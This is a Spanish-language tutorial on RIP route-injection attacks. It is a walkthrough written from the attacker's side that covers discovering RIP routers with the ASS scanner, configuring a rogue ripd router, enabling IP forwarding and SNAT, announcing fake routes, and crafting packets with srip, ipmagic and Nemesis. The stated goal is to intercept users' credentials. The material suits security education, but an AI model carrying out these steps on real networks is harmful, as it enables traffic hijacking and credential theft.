Rutas falsas RIP.
Oleg Petukhov, abogado en el campo del derecho internacional y la protección de datos personales, especialista en información seguridad, protección de la información y datos personales.
Canal de Telegram: https://t.me/protecciondelainformacion1
Grupo de Telegramas: https://t.me/protecciondelainformacion2
Sitio web: https://legascom.ru
Correo electrónico: online@legascom.ru
#proteccióndelainformación #seguridaddelainformación
El protocolo RIP utiliza el puerto 520 y UDP para funcionar. Los enrutadores "escuchan" el tráfico en un puerto determinado. Por lo tanto, cualquier paquete de formato apropiado será aceptado y procesado por el enrutador. En el caso de que la autenticación RIP no se utilice o la contraseña esté vacía, el atacante podrá transmitir datos de ruta incorrectos a este enrutador, redirigiendo así el tráfico de red a través de los nodos controlados por el atacante.
Lo primero que un atacante debe hacer para lanzar su ataque es identificar los enrutadores que usan el protocolo RIP. Esto se puede hacer de varias maneras.
1. Puede escuchar el tráfico con un sniffer. Cada 30 segundos, los enrutadores intercambian información de ruta. También se intercambia cuando se cambia la topología. Ya hemos implementado este ataque en las secciones anteriores dedicadas a ARP-spoofing. Solo les recuerdo que para implementarlo, el atacante necesita estar en la red local.
2. Además, un atacante puede escanear la red en busca de nodos con un puerto UDP 520 abierto.
3. La mejor solución, y a menudo la única posible, es utilizar un analizador de lotes especializado que le permita interceptar y analizar las actualizaciones de las tablas de ruta.
Esta herramienta especializada es una utilidad con el nombre simple ASS (Autonomous system scanner). Esta utilidad le permite realizar búsquedas activas y pasivas de enrutadores y protocolos de enrutamiento. En el proceso de escaneo, ASS funciona en modo activo, al final pasa a pasivo, que solo escucha el tráfico. Esta utilidad no solo Admite RIP, sino también otros protocolos de enrutamiento, por lo que volveremos a ella repetidamente en el futuro.
Aquí hay un ejemplo de trabajo en modo pasivo:
root@kali : # ./ass -i eth0
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
passive listen ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.100 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Y así la utilidad funciona en modo activo:
root@kali : # ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
Continuing capture ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.100 (RIPv1 RIPv2 )
RIP1 [ n/a ] 0.0.0.0 (metric 1)
RIP1 [ n/a ] 192.168.0.1 (metric 1)
RIP1 [ n/a ] 192.168.66.9 (metric 1)
RIP1 [ n/a ] 192.168.66.105 (metric 1)
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Los ejemplos anteriores muestran el intercambio de información de enrutamiento interceptado entre dos enrutadores 192.168.66.100 y 192.168.66.101. No se utiliza la autenticación, de lo contrario se especificaría un método como md5.
En el ejemplo siguiente, el router IP es el router de destino cuyo tráfico se escucha, y con la clave –P se indica el número de versión del protocolo RIP 1 o 2.
root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>
Por lo tanto, hemos identificado con éxito los enrutadores que utilizan el protocolo RIP, su versión, así como el método de autenticación. Ahora puedes intentar un ataque. En el caso más simple, puede redirigir el tráfico a través de su enrutador para interceptar las credenciales de los usuarios. Al mismo tiempo, nos olvidamos del límite de enrutadores 15 entre dos nodos de la red.
Para llevar a cabo un ataque, primero debe configurar su enrutador falso y luego intercambiar información de ruta con los enrutadores vecinos.
Para hacer esto, debe realizar la configuración adecuada en nuestro enrutador. Aquí hay un ejemplo de archivo de configuración que utiliza el protocolo RIP versión 2 y una clave de autenticación.
!
! Zebra configuration saved from vty
! 2005/08/12 23:44:33
!
hostname legitimate.ripd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
service advanced-vty
service password-encryption
!
!
key chain dmz_auth
key 1
key-string secret_key
!
interface eth0
description DMZ_network
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
!
router rip
version 2
redistribute connected
network 192.168.20.0/24
!
line vty
exec-timeout 30 0
!
A continuación, debe configurar el tráfico de reenvío a través de su host. Esto se puede hacer de la siguiente manera:
root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward
La siguiente acción preparatoria será configurar la traducción de direcciones con Network Address Translation (NAT). Esto es necesario para garantizar que los paquetes que se dirigen hacia o desde la máquina de la víctima lleguen a su destino final, en pocas palabras, no se pierdan.
root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
Antes de iniciar un ataque, debe establecer exactamente a qué enrutador desea enviar una actualización RIP falsa de la información de ruta. El destinatario debe ser una dirección unicast, no multicast, ya que en este caso el ataque es mucho más fácil de detectar.
En el siguiente paso, creamos un registro de ruta:
router rip
version 2
default-information originate
neighbor 192.168.20.103
route 192.168.66.9/32
Ahora, el tráfico que sale de la red 192.168.77.0/24 a la máquina 192.168.66.9 pasará por el enrutador del atacante.
Ahora, después de un anuncio similar de la red 192.168.77.0/24, aparecerán nuevas rutas en las tablas de enrutamiento RIP. Es cierto que la ruta más corta sigue siendo la ruta entre dos enrutadores legales. Sin embargo, si un atacante de alguna manera (por ejemplo, a través de "inundación") puede deshabilitar un canal legítimo, todo el tráfico pasará a través de un enrutador falso.
Para finalizar el tema de las rutas falsas, considere algunas utilidades más para generar actualizaciones de RIP de forma regular. Un ejemplo de una de estas utilidades es srip:
root@kali : # srip <RIP version> -n <netmask> <malicious router IP>
<targeted RIP router IP> <destination host or network IP> <metric>
donde < malicious router IP > es la máquina a través de la cual se planea redirigir el tráfico, es decir, el host del atacante; <destination host or network IP> es la dirección a la que se transfieren los datos; <metric> – generalmente se usa el valor 1.
Para realizar un ajuste más fino de las actualizaciones RIP, puede usar la utilidad ipmagic del proyecto IP Sorcery.
Aquí hay un ejemplo de todas las opciones de esta utilidad:
root@kali : #./ipmagic
Usage: ./ipmagic [options]
IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]
-is: source host or address def. 127.0.0.1
-id: source destination or address def. 127.0.0.1
-ih: IP header length def. 5
-iv: IP version def. 4
-il: Time-to-Live def. 64
-it: Type-of-Service def. 0
-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]
-ii: IP packet ID for fragmentation def. 0
-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options
<skip>
UDP: [-us|-ud|-ul]
-us: UDP source port def. rand()
-ud: UDP destination port def. 161
-ul: UDP length
RIP: [-uR|-uRc|-uRv]
-uR: Send default RIP packet to port 520
-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ
For a list of RIP commands run program with -h rip
-uRv: RIP version [1|2] def. 2
Note: Entry Tables should be used with response packets[RS|TS|US]
-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1
-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2
-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)
-uRm(1|2|etc.): RIP Entry table Metric
-uRr(1|2|etc.): RIP Entry table Route Tag
-uRe: Add default RIP Entry table to packet
root@kali : #./ipmagic -h rip
RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]
RS: Response Packet
RQ: Request Packet
TN: Trace On
TF: Trace Off
SR: Sun Reserved
TQ: Triggered Request
TR: Triggered Response
TA: Triggered Acknowledgement
UQ: Update Request
UR: Update Response
UA: Update Acknowledgment
Por último, otra herramienta útil para realizar ataques contra el protocolo de enrutamiento RIP es Nemesis. El conjunto de opciones de esta utilidad también es bastante rico.
root@kali : # nemesis rip help
RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
RIP usage:
rip [-v (verbose)] [options]
RIP options:
-c <RIP command>
-V <RIP version>
-r <RIP routing domain>
-a <RIP address family>
-R <RIP route tag>
-i <RIP route address>
-k <RIP network address mask>
-h <RIP next hop address>
-m <RIP metric>
-P <Payload file>
UDP options:
-x <Source port>
-y <Destination port>
IP options:
-S <Source IP address>
-D <Destination IP address>
-I <IP ID>
-T <IP TTL>
-t <IP TOS>
-F <IP fragmentation options>
-F[D],[M],[R],[offset]
-O <IP options file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
Una desventaja importante de las herramientas descritas anteriormente es que no pueden enviar paquetes RIP usando autenticación. La salida puede ser un truco de autenticación, pero hablaremos de esto más adelante.




